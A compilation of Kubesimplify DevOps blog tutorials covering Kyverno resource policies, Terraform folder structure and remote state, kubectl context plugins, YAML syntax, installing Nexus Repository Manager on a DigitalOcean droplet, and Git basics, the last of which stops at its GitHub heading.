- Create a YAML manifest `correctpod.yaml` and run the command `kubectl apply -f correctpod.yaml`


```yaml
apiVersion: v1
kind: Pod
metadata:
  name: nginx
spec:
  containers:
  - name: nginx
    image: nginx:alpine
    ports:
    - containerPort: 80
    resources:
      requests:
        memory: "64Mi" # 64Mi (binary notation)
        cpu: "250m" # 250 millicores
      limits:
        memory: "128Mi"
        cpu: "500m"
```


- Run `kubectl get pods` in your terminal and You will notice that the pod is running. 


![Screenshot from 2022-04-13 18-59-06.png](/img/blog/getting-started-with-kyverno/TjXc5n1lj.png)

- This time it's running because this pod is not violating the `require-limits-and-requests` policy. 
- I hope that now you have understood the basics of kyverno and how a policy works and why do we need it?
- I will encourage you to do the same operation that I have done above but for deployments. 
- You will see that this policy is applicable for deployments as well. Kyverno applies the existing `require-limits-and-requests` policy to not only pods but to all the resources that work on top of pods like deployments, daemonsets, stateful sets and Jobs.
- Run the command `kubectl describe cpol require-limits-and-requests` in terminal and you will notice that kyverno have auto generated the policy for other resources that works on top of pods like deployments, daemonsets etc. 
- That's all for now. In the future I will be writing about Kyverno policy-reporter, Kyverno CLI and I will be writing some mutating policies as well so stay tuned for that.
- Follow kubesimplify for more. 

### Reference
- [Saiyam Stream with Jim](https://youtu.be/QR-iBeh9Vy0) 
- [Containers from the couch stream on Kyverno](https://youtu.be/dHhgfyH5KRs)
- [KCD Banglore Workshop](https://www.youtube.com/channel/UCqgyLOBWUikh_umxNICbcbQ)
- [Kyverno Documentations](https://kyverno.io/docs/)

---

# A simple way to Structure your Terraform code

- Canonical: https://blog.kubesimplify.com/a-simple-way-to-structure-your-terraform-code
- Published: 2022-04-13
- Summary: This article helps users structure their terraform code in a way that is easily readable and reduces the blast radius.

### Basic Structure
Writing Terraform code is like connecting wires to a network switch(I'm not a Network Engineer), but you get the sentiment(we've all seen how bad wires can get).

When you start writing Terraform code everything is usually in the same folder, this might be good for projects that have a few instances or if you need to start your project quickly.

Your structure would look like this.
```
.
├── backend.tf
├── db-instance.tf
├── iam.tf
├── igw.tf
├── provider.tf
├── s3.tf
├── subnets.tf
├── variables.tf
└── vpc.tf
```
This is pretty good and straightforward for beginner projects and smaller projects, but slowly you will add more resources, and you'll soon be waiting for Terraform to finish refreshing all the 20 resources every time you make a change to your code.  This is one of the reasons, the other reason is there is something called a blast radius, blast radius is basically a term that means how much of your Infrastructure can be accidentally deleted.

The last and main reason is to keep your sanity intact(I've read a few terraform horror stories).

### Writing Better Code
What you should do is split your code into logical sections.
For example, you have a "production" and a "non-production" environment. So you can create two separate folders, inside those you logically split the resources into sub-folders. Something along the lines of this.

```
production/
├── backend
│   ├── dyanmodb.tf
│   ├── outputs.tf
│   ├── s3-backend.tf
│   ├── terraform.tf
│   ├── terraform.tfvars
│   └── variables.tf
├── cloudwatch
│   ├── main.tf
│   ├── terraform.tf
│   ├── terraform.tfvars
│   └── variables.tf
└── ecs
    ├── main.tf
    ├── outputs.tf
    ├── terraform.tf
    ├── terraform.tfvars
    └── variables.tf
```
The files in each folder represent the `Terraform Provider=>terraform.tf`, the `Terraform code => main.tf` and the variables, you can also split those into various files.

### Terraform Structure for ECS
When it comes to Elastic Container Service (ECS), I recommend doing something as follows, this makes sure your services are separate and nothing changes due to one service being changed.
```
├── ecs
│   ├── main.tf
│   ├── terraform.tf
│   ├── terraform.tfvars
│   └── variab
└── services
    ├── service1
    ├── service2
    ├── service
```

Now you may wonder, since Terraform only works within one folder how would it work if you've split these resources. Well, there is something known as [Terraform Remote State Data Source](https://www.terraform.io/language/state/remote-state-data).

So to give you a gist of how this works, the outputs defined in the folder i.e in `outputs.tf` are accessible via the remote backend.

This is the `network/terraform.tf` file.
> network/terraform.tf

```
terraform {
  required_providers {
    aws = {
      source  = "hashicorp/aws"
      version = "4.4.0"
    }
  }
  backend "s3" {
    key               = "network/terraform.tfstate"
    bucket            = "Leos-tf-prod"
    encrypt           = true
    profile           = "My-custom-profile"
    region            = "us-west-2"
    dynamodb_endpoint = "dynamodb.us-west-2.amazonaws.com"
    dynamodb_table    = "production-tf-state"

  }
 }
```
> Note: Specifying the profile makes sure Terraform doesn't use the default profile.

Now I'll setup the resources using the AWS VPC module. Then If I need to access Data, such as VPC ID in another folder I need to define that using the Terraform output blocks in the `outputs.tf`.
```
# VPC
output "vpc_id" {
  description = "The ID of the VPC"
  value       = module.vpc.vpc_id
}

output "vpc_cidr_block" {
  description = "The CIDR block of the VPC"
  value       = module.vpc.vpc_cidr_block
}
```
Now if I do `terraform output` I can see the values

```
$ terraform output

vpc_cidr_block = "20.0.118.0/17"
vpc_id = "vpc-03434c243d05599f"
```

Let's move forward, now I need to access the same in my Elastic Container Service.

To do this I need to simply define a `terraform_remote_state Data Source` as such:

> ecs/terraform.tf

```
data "terraform_remote_state" "network" {
  backend = "s3"
  config = {
    bucket = "Leos-tf-prod"
    key    = "network/terraform.tfstate"
    region = "us-west-2"
    profile = "My-custom-profile"
  }
}
```

Now if you've noticed, typing `data.terraform_remote_state.network.vpc_cidr` is going to cause you to type more or you need to remember stuff, to avoid this you can use `locals` as such

```
locals {
  vpc_id          = data.terraform_remote_state.network.outputs.vpc_id
  private_subnets = data.terraform_remote_state.network.outputs.public_subnets
  public_subnets  = data.terraform_remote_state.network.outputs.public_subnets
}
```
Then in your folder, you can simply call the variable as such
```
local.vpc_id
```

### Benefits of this approach.
- Reducing the blast radius, for example, if you accidentally run a destroy, a limited number of resources will be affected.
- Improved security in case you need someone to work only on one part of the code.
- Splitting the files reduces the time taken to apply changes.

In case you would like to continue the discussion, you can always reach out to me on [Twitter](https://twitter.com/mediocreDevops) or on [LinkedIn](https://www.linkedin.com/in/leon-nunes/), if you feel like following on [Github](https://github.com/afro-coder) you can also do that

That's it, thank you for reading.

---

# Managing Contexts In Kubernetes With Plugins

- Canonical: https://blog.kubesimplify.com/managing-contexts-in-kubernetes-with-plugins
- Published: 2022-04-12
- Summary: You have your local kubernetes cluster and you connect that via your terminal using kubectl. By default kubectl searches your cluster config in the ~/.kube/

## How to manage multiple k8s clusters 
- This is a beginner's guide on how to manage multiple clusters when you've multiple config files. 
- When you use a local kubernetes environment then it looks something like this. You may be using minikube, docker desktop, rancher-desktop, microk8s etc. 


![rancher-desktop.png](/img/blog/managing-contexts-in-kubernetes-with-plugins/IzAmri11g.png)

- You have your local kubernetes cluster and you connect that via your terminal using `kubectl`
- By default kubectl searches your cluster config in the ~/.kube/config directory. 
- Upto this point everything is simple and you're not facing any issue. Now you want to create a cluster in the cloud on civo, LKE, EKS, GKE etc. The problem here is that you've only one terminal and you want to connect  to multiple clusters. How would you do that?
- To illustrate it visually, here's what you're trying to achieve. 


![multiple-kube-configs.png](/img/blog/managing-contexts-in-kubernetes-with-plugins/DiULyVeW8.png)

- I was not knowing this when I got started with kubernetes I was unaware of this concept and it took me some time to figure this out. 
- Let me also tell you what I used to do when I was unaware of this concept. I was using [lens](https://k8slens.dev) and in that I used to add my kubeconfig file and then get access to the remote cluster. But I always wanted to access the cluster from my terminal. 


![Screenshot from 2022-04-02 21-03-08.png](/img/blog/managing-contexts-in-kubernetes-with-plugins/ymcN7qmO4.png)

- It used to look something like this. 

![Screenshot from 2022-04-02 21-03-39.png](/img/blog/managing-contexts-in-kubernetes-with-plugins/jnbBybBNZ.png)



- We manage multiple clusters with the help of context. context is the current cluster that is active in your terminal session. 
- To check which is the current context use the command `kubectl config current-context`
- Now You have to change the context in order to access the cluster that is in the cloud. 
- When we create a k8s cluster then we get a kubeconfig file from the provider. You need to store that file locally into your system. 
- In the above case what we can do is that we can simply pass a command `export KUBECONFIG=/path/to/kubeconfig`
- This method is suitable when you just want to operate on one cluster. 
- What if you want to operate multiple clusters and change the context according to your need.
- In this case we can pass our command something like this `export KUBECONFIG=cluster1config:cluster2config:cluster3config`
- Let's assume that you have your local rancher desktop setup in your system. The default path where kubectl will look for kubeconfig is in the .kube/config. 
- Now you have created a cluster on civo and downloaded the kubeconfig in your `~/Downloads` directory and then you created a 3 node cluster on linode and again downloaded the config in your downloads directory. 
- Now in order to access the cluster you have to run the command `export KUBECONFIG=~/Downloads/civo-k8s-config:~/Downloads/linode-k8s-config:~/.kube/config`
- Now if you run the command `kubectl config get-contexts` then you will be able to see all the three clusters. 
- Now you can change the context run the command `kubectl config set-context <cluster-name>`
- Whenever you want to switch the context you can do that via the above command.
- You can delete the context `kubectl config delete context <context-name>`

## Plugins to make your job easier

### Kubectx

- This plugin makes your life easy and you don't have to type long commands now. 
- This is a plugin for kubernetes which you can download. Checkout the installation instructions [here](https://github.com/ahmetb/kubectx/)
- With kubectx you can easily manage your clusters and switch from one to another. 

![kubectx in action](https://github.com/ahmetb/kubectx/raw/master/img/kubectx-demo.gif)

- Above image is taken from the github readme of the kubectx project. 

### Kubens

- This plugin is same as kubectx, the only difference is that it's for namespaces. 
- When you run `kubectl get pods` then the result you get is the pods of the `default` namespace.
- Now in order to change the active namespace to some other namespace  we use `kubectl config set-context --current --namespace kube-system`. Now your active namespace is kube-system. 
- This process is tiring and you have to type long commands every time and in this case kubens can be useful. 
- kubens is simple and you just have to type `kubens <desired-namespace>` and you will set your active context as desired-namespace. 

![image](https://github.com/ahmetb/kubectx/raw/master/img/kubens-demo.gif)

- Image is taken from the github readme of the kubectx project. 

### kube-ps1

- With this plugin you can have a look at what is your current cluster context and active namespace context. This can be very helpful when you're managing multiple clusters. You can see the project [here](https://github.com/jonmosco/kube-ps1)

![image](https://github.com/jonmosco/kube-ps1/raw/master/img/kube-ps1.gif)

- Image is taken from the github readme of kube-ps1 project. 

---

- You can check out the quick video by Natan on this subject [here](https://youtu.be/oW3BqaHt1lk)

---

# A Simplified Guide To YAML

- Canonical: https://blog.kubesimplify.com/a-simplified-guide-to-yaml
- Published: 2022-04-10
- Summary: One of the main reasons why YAML popularity has increased so much over the past few years is that it is super human-readable and intuitive which makes it a

*YAML is quite popular in the DevOps tools. One of the main reasons why YAML popularity has increased so much over the past few years is that it is super human-readable and intuitive which makes it a great tool for writing configuration files for DevOps tools like Docker, Kubernetes, Ansible, Prometheus, etc.*

*In this post, we will learn just enough syntax of YAML so that when anyone saw any configuration files from now on, he/she can easily understand what it means.*

## What is YAML?

- YAML is a simple human readable language that can be used to represent data and works well with other programming languages. YAML is neither a programming language nor a markup language. YAML is a **Data Serialization** language.

- It was previously known as "Yet Another Markup Language"  but now its called **"YAML Ain't Markup Language"**. Markup languages are used to store only *documents*. But YAML can store **objects data** along with **documents**. 
The two most popular markup languages are HTML and XML.
> YAML is superset of JSON : Any valid JSON file is also a valid YAML file.


As we try to learn YAML, we came across its competitors in this field which is XML and JSON. We’ll show you examples of the three so that you can understand why YAML so popular among these three.

> **XML**

```
<Servers>
    <Server>
        <name>Server1</name>
        <owner>Tony</owner>
        <created>12232012</created>
        <status>active</status>
    </Server>
</Servers>
```

> **JSON**

```
{
       Servers: [
               {
               name: Server1,
               owner: Tony,
               created: 12232012
               status: active
               }
        ]
}
```

> **YAML**

```
Servers: 
        -     name: Server1
               owner: Tony
               created: 12232012
               status: active
```

So as YAML uses line separation and spaces with indentation instead of tags with angle brackets in XML and curly bracket in JSON. It’s a lot more easy to understand by others than XML or JSON.

That is why DevOps tools like (Docker, Kubernetes, Ansible, Prometheus, etc.) use YAML for writing configuration files.  

## What is Data Serialization?

- **Data Serialization** is a process of converting the data objects that is present in some complex data structure into a stream of bytes that can be used to store, transfer and distribute on physical devices. 

     ![blog.jpg](/img/blog/a-simplified-guide-to-yaml/Y5S-1Af4B.jpg)
- The reverse process of data serialization is called *data deserialization*.
- YAML, JSON, XML are data serialization language.

> YAML has become a pretty widely used format for writing configuration files for many different DevOps tools and applications.  


## Uses of YAML
- Importing and exporting data to and from the server.
- Configuring files can be written in YAML. 
- Transferring data between two different components of the application.
- Intermediate data storing.

## Benefits of YAML
- YAML is simple and easy to read.
- Easily convertible to JSON and XML files.
- Most programming languages use YAML for data serialization.
- You can only store data and not commands in YAML.
- YAML is more powerful when representing complex data.
- Parsing is Easy in YAML(parsing means reading the data).

## DataTypes in YAML
- In YAML, there are three types of primitive datatypes
   - Scalars
   - List 
   - Mappings (Key-Value pairs)

> **Scalars**

- Scalars are data which can be identified as a single value.
- The value of the scalar can be integer, float, Boolean, etc.
- Here is an example of Scalars data types :

```
 str1: this is a normal string

chocolates: 39

price: 12.25

flag: no

```

> **Lists**

- In YAML, a list or collection of values can be represented in two ways :
   - block style
   - flow style

- Here is an example of block style :

```
   ---   
   lists:
     - first
     - second
     - third

   ```

- Here is an example of flow style :

```
---  
lists: [ first, second, third ]
```
- Here is an example of nested list :

```
---
students:
    - 
        name: Mark
        roll: 03
        subjects:
            - computer organizations
            - operating system
            - digital electronics
   -    
        name: Harry
        roll: 14
        subjects:
            - object oriented programming
            - data structures
            - system design

```


> **Mappings**

- Mappings (or hashes, dictionaries) are unordered sequences of key/value pairs.
- Keys in a dictionary must be **unique**.
  > everything inside YAML is a member of a dictionary.
- Here is an example:

```
character:
  name: rahul
  subject: maths
```

In the example above, the *name* and *subject* keys are members of the same dictionary, respectively mapped to the “rahul” and “maths” values.

- Above example can be also represented in the following way:

```
character: { name: rahul, subject: maths}
```
- Here is an Example of Primitive Data types in Yaml :

```
---
first_name: Sam
last_name: Hales
occupation: Doctor
---
married: true
spouse: 
        name: Alexa
        occupation: Freelancer
        interests: 
              - Blog
              - Music
---
dog_count: 2
dog_names: [ Brody, Tommy ]
...
```

## Some Important Points of YAML
- YAML is **case sensitive**.
- In YAML, we use **spaces** for Identation and not tabs.
- File extensions must be **.yaml** or **.yml**.
- There are no multi-line comments in YAML.
   (Only **single-line** comments are available).
   - below is an example of single line comment 
```
# An Employee record
```
- The **---** symbol mark represents the **start** of a document.
- The **...** symbol mark represents the **end** of a document.

> Below is an example of how YAML can be used in creating docker-compose.yaml file.

```
version: "3"

services:
 my-service:
   build: ./dockerProject
   volumes:
     - ./dockerProject:/usr/src/app
   ports:
     - 5001:80

 website:
   image: php:apache
   volumes:
     - ./website:/var/www/html
   ports:
     - 5000:80
   depends_on:
     - my-service
```


This is my first blog. Thanks for reading. 

If you find the blog useful don't forget to like, share and comment.

Connect with me on [Twitter](https://twitter.com/barkatul_20) and Follow [kubesimplify](https://twitter.com/kubesimplify).

---

# Nexus Repository Manager :  What is it & how to configure it on a Digital Ocean Droplet?

- Canonical: https://blog.kubesimplify.com/nexus-repository-manager-what-is-it-and-how-to-configure-it-on-a-digital-ocean-droplet
- Published: 2022-04-08
- Summary: Let's say you are building a Java-Maven application. It uses Maven Central Repository for resolving dependencies. Now if you want to use a package not provi

# Introduction
If you are working on a big project which would take long time, repository manager is the thing which can save you a lot of time and effort. 

Let's say you are building a Java-Maven application. It uses [Maven Central Repository](https://mvnrepository.com/repos/central) for resolving dependencies. Now if you want to use a package not provided by Java by default, you need to get it from Maven Central. With repository managers, these packages are stored in the repository manager itself so you don't have to look for different packages at different places.

# What is a Repository Manager? 
A **Repository manager** is a dedicated server location which is used to manage all the repositories an development team will need throughout the development cycle.

We can consider Repository Manager as a **Warehouse for parts**. Just as a Warehouse serves as a centralized location for storage of parts and manages receiving, sending and everything in between, a Repository Manager manages all the parts involved in the software development process.

### Repository v/s Repository Manager
A **Repository** is a storage location where components like artifacts, binaries or containers are retrieved so they can be installed or used whereas a **Repository Manager **is a dedicated application which manages all of your internal or proxy repositories.

### Why do you need it? 🤔
Let's say you work in a company which is working upon multiple projects. Few of which are build using Java, .NET and Python. Each of these will produce different types of artifacts. Now you'll need different software to store each of them. A Repository manager solves this problem and provides a centralized platform to store all the components involved in the software development process. Few of the other features of a repository manager are :

👉 Saving time and bandwidth due to reduced number of downloads off remote repositories.

👉 Backup and Restore

👉 Cleanup Policies

👉 Search Functionality

👉 Multi-format support

---

# Why Nexus Repository Manager? 🤔

![Screenshot 2022-04-02 2326400.png](/img/blog/nexus-repository-manager-what-is-it-and-how-to-configure-it-on-a-digital-ocean-droplet/Rt1mT1vKp.png)
Nexus Repository Manager is a **FREE-to-use** artifact repository manager by `Sonatype`. It supports a wide variety of formats like APT, NuGET, Maven and Docker. List of all supported formats can be found [here](https://www.sonatype.com/products/repository-oss-download).

Now that you know what Nexus Repository Manager is, let me show you how to configure it on a cloud server. We'll configure Nexus on Digital Ocean Droplet(cloud server) for this blog but you can do the same on almost any other cloud service. Click [here](https://try.digitalocean.com/freetrialoffer/) to get a FREE `$100 credit` on Digital Ocean for 60 days.

---

# Configuring Nexus on Digital Ocean Droplet 

###### **STEP 1** :   Create a Droplet (cloud server)
I've chosen `Ubuntu 20.04 LTS` but you are free to use distribution of your choice. You can choose the datacenter region which is nearest to your location. In my case it's `Bangalore`. You can use `Password Authentication`(less secure) or `SSH keys`(more secure) for authentication.

> **Note :** Make sure you choose `8 GB/ 4 vCPUs droplet` because Nexus takes up a ton of memory and has high CPU usage at times.

![createdroplet (1).gif](/img/blog/nexus-repository-manager-what-is-it-and-how-to-configure-it-on-a-digital-ocean-droplet/ewohD7Icq.gif)

---

###### **STEP 2** :  Log in to the droplet using it's `public IP address`
> If you used `SSH key Authentication`, you won't be prompted for password but if you used `Password Authentication`, you need to enter your password to authenticate yourself.

> **Note :** The default user for any digital ocean droplet is `root`.



```
ssh root@<IP_address>

```

![login-AdobeCreativeCloudExpress.gif](/img/blog/nexus-repository-manager-what-is-it-and-how-to-configure-it-on-a-digital-ocean-droplet/nWlAk1evA.gif)

---

###### **STEP 3** :  Install `Java version 8` and networking tools.
> Nexus repository manager requires `Java version 8` to be installed to run.

> We'll use `netstat` utility to check which port our application is listening to for which we need `net-tools` package to be installed.

To install Java version 8 and net-tools use the command :
```
apt install openjdk-8-jre-headless -y
apt install net-tools
```
To check if Java is properly installed, use the command :

```
java -version
``` 
The above command must give the output :

```
openjdk version "1.8.0_312"
OpenJDK Runtime Environment (build 1.8.0_312-8u312-b07-0ubuntu1~20.04-b07)
OpenJDK 64-Bit Server VM (build 25.312-b07, mixed mode)
``` 


---


###### **STEP 4**:  Download `Nexus Repository Manager` and `untar` it.

To download Nexus Repository manager in `/opt` use command :
```
cd /opt
wget https://download.sonatype.com/nexus/3/nexus-3.38.1-01-unix.tar.gz
``` 
To untar it, use the command :

```
tar -zxvf nexus-3.38.1-01-unix.tar.gz
``` 
After executing the above commands, when executing the command `ls`(list files and directories) , it must have 2 new directories namely `nexus-3.38.1-01` and `sonatype-work`.

```
root@ubuntu-s-4vcpu-8gb-intel-blr1-01:/opt# ls
digitalocean  nexus-3.38.1-01  nexus-3.38.1-01-unix.tar.gz  sonatype-work
```

---

###### **STEP 5**:  Create a new user `nexus`, give it appropriate permissions and change nexus configuration to run as a `nexus` user.
> Note : Services should **not** run with Root user permissions.

> Best Practice : `Create a new user for each service`.

To create a new user `nexus`, use the command :

```
adduser nexus
``` 
It will ask for user information and password. To skip filling some values, press `Enter` key.

```
root@ubuntu-s-4vcpu-8gb-intel-blr1-01:~# adduser nexus
Adding user `nexus' ...
Adding new group `nexus' (1000) ...
Adding new user `nexus' (1000) with group `nexus' ...
Creating home directory `/home/nexus' ...
Copying files from `/etc/skel' ...
New password:
Retype new password:
passwd: password updated successfully
Changing the user information for nexus
Enter the new value, or press ENTER for the default
        Full Name []: Nexus
        Room Number []:
        Work Phone []:
        Home Phone []:
        Other []:
Is the information correct? [Y/n] Y
```

Change the ownership of directories `nexus-3.38.1-01` and `sonatype-work` from `root` to `nexus`. To do so, use the command :


```
cd /opt
chown -R nexus:nexus nexus-3.38.1-01/
chown -R nexus:nexus sonatype-work/
``` 

To check if the ownership was changed, use the command :

```
ls -l
``` 
It must output :

```
drwxr-xr-x  4 root  root  4096 Apr  3 05:51 digitalocean
drwxr-xr-x 10 nexus nexus 4096 Apr  3 17:26 nexus-3.38.1-01
drwxr-xr-x  3 nexus nexus 4096 Apr  3 17:26 sonatype-work
``` 

To change nexus configuration to run as a nexus user, open the file `nexus.rc` using :

```
vim nexus-3.38.1-01/bin/nexus.rc
``` 

Replace it's contents with :

```
run_as_user="nexus"
``` 

---

###### **STEP 6**:  Login as `nexus` and start `nexus service`
To switch user from `root` to `nexus`, use the command `su - <user_name>`.

```
su - nexus
``` 
Now, to start nexus, use the command :

```
/opt/nexus-3.38.1-01/bin/nexus start
``` 
It must give the output :

```
nexus@ubuntu-s-4vcpu-8gb-intel-blr1-01:~$ /opt/nexus-3.38.1-01/bin/nexus start
Starting nexus
``` 

To check if it started successfully or not, type :

```
ps aux | grep nexus
``` 
It must give the output :

```
nexus@ubuntu-s-4vcpu-8gb-intel-blr1-01:~$ ps aux | grep nexus
root       20134  0.0  0.0  10132  3868 pts/0    S    19:08   0:00 su - nexus
nexus      20137  0.0  0.0  10028  5092 pts/0    S    19:08   0:00 -bash
nexus      20353  170 24.3 6618988 1986448 pts/0 Sl   19:10   3:13 /usr/lib/jvm/java-8-openjdk-amd64/jre/bin/java -server -Dinstall4j.jvmDir=/usr/lib/jvm/java-8-openjdk-amd64/jre -Dexe4j.moduleName=/opt/nexus-3.38.1-01/bin/nexus -XX:+UnlockDiagnosticVMOptions -Dinstall4j.launcherId=245 -Dinstall4j.swt=false -Di4jv=0 -Di4jv=0 -Di4jv=0 -Di4jv=0 -Di4jv=0 -Xms2703m -Xmx2703m -XX:MaxDirectMemorySize=2703m -XX:+UnlockDiagnosticVMOptions -XX:+LogVMOutput -XX:LogFile=../sonatype-work/nexus3/log/jvm.log -XX:-OmitStackTraceInFastThrow -Djava.net.preferIPv4Stack=true -Dkaraf.home=. -Dkaraf.base=. -Dkaraf.etc=etc/karaf -Djava.util.logging.config.file=etc/karaf/java.util.logging.properties -Dkaraf.data=../sonatype-work/nexus3 -Dkaraf.log=../sonatype-work/nexus3/log -Djava.io.tmpdir=../sonatype-work/nexus3/tmp -Dkaraf.startLocalConsole=false -Djdk.tls.ephemeralDHKeySize=2048 -Djava.endorsed.dirs=lib/endorsed -Di4j.vpt=true -classpath /opt/nexus-3.38.1-01/.install4j/i4jruntime.jar:/opt/nexus-3.38.1-01/lib/boot/nexus-main.jar:/opt/nexus-3.38.1-01/lib/boot/activation-1.1.1.jar:/opt/nexus-3.38.1-01/lib/boot/jakarta.xml.bind-api-2.3.3.jar:/opt/nexus-3.38.1-01/lib/boot/jaxb-runtime-2.3.3.jar:/opt/nexus-3.38.1-01/lib/boot/txw2-2.3.3.jar:/opt/nexus-3.38.1-01/lib/boot/istack-commons-runtime-3.0.10.jar:/opt/nexus-3.38.1-01/lib/boot/org.apache.karaf.main-4.3.6.jar:/opt/nexus-3.38.1-01/lib/boot/osgi.core-7.0.0.jar:/opt/nexus-3.38.1-01/lib/boot/org.apache.karaf.specs.activator-4.3.6.jar:/opt/nexus-3.38.1-01/lib/boot/org.apache.karaf.diagnostic.boot-4.3.6.jar:/opt/nexus-3.38.1-01/lib/boot/org.apache.karaf.jaas.boot-4.3.6.jar com.install4j.runtime.launcher.UnixLauncher start 9d17dc87 0 0 org.sonatype.nexus.karaf.NexusMain
nexus      20778  0.0  0.0  10616  3300 pts/0    R+   19:12   0:00 ps aux
nexus      20779  0.0  0.0   8160   732 pts/0    S+   19:12   0:00 grep --color=auto nexus
``` 
In my case the process with process ID `20353`. By default it is accessible on the port `8081`. We can check it using the command :
```
netstat -lpnt
``` 
It would give the output :

```
nexus@ubuntu-s-4vcpu-8gb-intel-blr1-01:~$ netstat -lpnt
(Not all processes could be identified, non-owned process info
 will not be shown, you would have to be root to see it all.)
Active Internet connections (only servers)
Proto Recv-Q Send-Q Local Address           Foreign Address         State       PID/Program name
tcp        0      0 0.0.0.0:8081            0.0.0.0:*               LISTEN      20353/java
tcp        0      0 127.0.0.1:44945         0.0.0.0:*               LISTEN      20353/java
tcp        0      0 127.0.0.53:53           0.0.0.0:*               LISTEN      -
tcp        0      0 0.0.0.0:22              0.0.0.0:*               LISTEN      -
tcp6       0      0 :::22                   :::*                    LISTEN      -
``` 
We can confirm from the above output that `20353/java`(nexus service) is accessible at port `8081`. 
> If it doesn't show up in your case, give it some time(atleast 5 min) before restarting 
the service.

---

# Accessing Nexus from Browser 🤩

We can access Nexus from Browser but for that we need to configure the firewall of our droplet to allow incoming requests to port `8081`.

To do so,

👉 Click on the droplet

👉 Open `Networking` section

👉 Scroll down to the bottom and click on `Edit` button under `Firewall`

👉 Click on `Create Firewall`

👉 Name the `Firewall rule`

👉 Under `inbound rules`(rules for incoming requests), create a new `Custom` rule. Let the protocol be `TCP` and change the port to `8081`. Remove `All IPv4` and `All IPv6` from sources and put your `Public IP address` in that field because you don't want your nexus service to be accessible to anyone.

> You can get your `Public IP address` from the URL :
> 
```
https://ifconfig.me/
``` 

![firewall.gif](/img/blog/nexus-repository-manager-what-is-it-and-how-to-configure-it-on-a-digital-ocean-droplet/69sl19_Z7.gif)

Now to access it from your browser, open up your browser and in the address bar type:

```
<Droplet's_IPv4>:8081
``` 
for example it's ` 143.110.189.99:8081`  in my case where `143.110.189.99` is my Droplet's IPv4 and `8081` is the port number.

![nexusinbrowser.gif](/img/blog/nexus-repository-manager-what-is-it-and-how-to-configure-it-on-a-digital-ocean-droplet/p8PpK3Dsk.gif)

Congratulations🥳! You're all set to use Nexus in your Browser🤩.

---

# Conclusion
If you learnt something new from this blog, make sure you like, share and follow `Kubesimplify` for more such informative blogs. Also, feel free to connect with me on [Twitter](https://twitter.com/snehstwt). Thank you for reading!📃

Last but not the least, join Kubesimplify community for more such amazing blogs!🤩

---

# Understanding the ins & outs of Git using GitHub

- Canonical: https://blog.kubesimplify.com/understanding-the-ins-and-outs-of-git-using-github
- Published: 2022-04-07
- Summary: Using the git push command we can take these changes from our local machine to the remote server to preserve it. And the great part is, that we can work and

### How does Git work?

Let's understand how **Git** works. 

Usually, while writing software we have our working directory where we have a bunch of files depending on the application we're building. Now, we can host the git project on a remote server. 

The most popular git providers are the **GitHub** by Microsoft, **Gitbucket**, **GitLab**, **AWS CodeCommit**. 

Using the `git push` command we can take these changes from our local machine to the remote server to preserve it. And the great part is, that we can work and collaborate on the project from people all around the world.

This is why **Git** is really powerful.

In Git, we have the **Staging area** and **Commit History** ->
We could have a bunch of commits and all these actions are happening in our local machine. Before the file to commit, it is send to the staging area with the command `git add <filename>` and then using `git commit`, it is sent to the commit history. 

![Git](https://media.giphy.com/media/kH6CqYiquZawmU1HI6/giphy.gif)



### Installing Git

Installation process is really simple :

[Git Installation for Mac and Windows users](https://github.com/git-guides/install-git)

[Install GitBash for Windows Users](https://gitforwindows.org/ or https://cmder.net/)


For **Mac Users** :  The best way to install is using "Homebrew" using command - `brew install git`.

On **Windows**, I suggest you to install "Git Bash" or "cmder" is also a great tool.




### Learn Git the right way


Here we are not going to use Graphical User Interface (GUI) client to interact with git. 

We will be using the black screen, the terminal or the command line to work on Windows because it is much quicker.



### Verify Installation


Let's proceed with the installation.

- Search for terminal or iterm in **Mac** and command line or Git Bash in **Windows**. 
- Open the terminal or command line. 
- Check whether git has been installed.

> git --version

The version of git installed appears. So, git is successfully installed. 

You can type :
> git --help

It gives a bunch of commands.

To clear the screen :
> ctrl + l



### Configure git


The first thing we need to do is to configure git to have the right information about ourselves.

Type :

> git config --global user.name "your_username"

 > git config --global user.email "your_email"

Next type :

> git config --global color.ui auto

This enables command line coloring outlook.

On typing :

> git config

We can see a couple of options.

Now, on typing :

> git config -l

We can see the configuration entered of username, email and color.




### Initialising Git Repository


Repositories in Git contains a collection of files of different versions of a project.

Let's start :

`cd Desktop`   "cd" stands for change directory

`ls`   lists the content of the current directory

`mkdir learning-git`  creates a folder named "learning-git"

`ls`  displays "learning-git"

`cd learning-git`  the current directory is "learning-git"

`ls`  shows as empty right now


Now, how do we tell that the working directory is a git repository ?

We need to initialise our directory using `git init .` -> Initializes empty Git repository. It is hidden to prevent accidental deletion or modification of the folder.

We can start issuing git commands on our local machines from here on.

- `ls -a` command displays the hidden files

- ` rm -rf <folder_name>` is used to delete a folder


**NOTE** : `git init` is used for creating new projects. We do not issue "git init" while working on an existing project. 



### Git Add

Now, we will create a couple of files inside the "learning-git" folder we created.

- `touch <filename>` creates a file

```
touch index.html
touch index.js
touch main.css
mkdir test
cd test
touch test.js
```

These files are now added to the staging area so that they can commit.

`git status`  gives the status of the changes been made. These are the untracked files now as no commits are added.

As we are inside of test directory, `git add -A` is used to add every single file.


Now, all the four files have been staged.

- `git add .`  adds all the files from the current directory.
- `git rm --cached <filename>` is used to remove the file mentioned in <filename>.
- `git rm --cached .` is used to remove all the files.




### Commits


**Commits** can be thought of as snapshots or milestones along the timeline of a Git project. Commits are created with the `git commit` command to capture the state of a project at that point in time.

It can be considered as a safe point before we start implementing an another feature while working in a project. We can have as many commits as we want. 

Remember, we had added all four files in the staging area. 

Also, we are in the test folder and to go to the root use `cd ..`

Here, we'll create one commit for all : `git commit -m "bootstrap project"`

Now on typing `git status`  it says nothing to commit.

To modify any file, we use the 'vim editor' using vi command. 

Let's modify index file using `vi index.js` command. Press 'i' to Insert and then start typing, say `console.log("hello git");` Finally press Esc & type :wq to save and exit out.

`cat index.js` displays " console.log("hello git"); "

`git add .` is used to add the modified file

`git status` shows the modified index.js file

The index.js file is now staged.

Then perform `git commit -m "added console.log"` 
Here, the message should represent the actual changes made.

- To see the changes made, use `git log` [ NOTE : Each commit is identified with a hash '#' number ]
- `git log --oneline` displays the output as one commit per line.
- To discard the changes, use `git restore index.js`
- `git diff` gives the difference between what we have in the current working directory and what has been committed.




### Amend commit messages


We can **change the most recent commit message** using the git commit --amend command.

It will open our editor, allowing us to change the commit message of the most recent commit.

Let's modify "main.css" file we created : 

Use `vi main.css` command and type " body {} " in the editor.

Then,

```
git add .
git commit -m "File modified"
```

To **amend the changes** in main.css :

> git commit --amend -m "added body{} in main.css"

- We can check the changes using `git log` command.




### GitHub

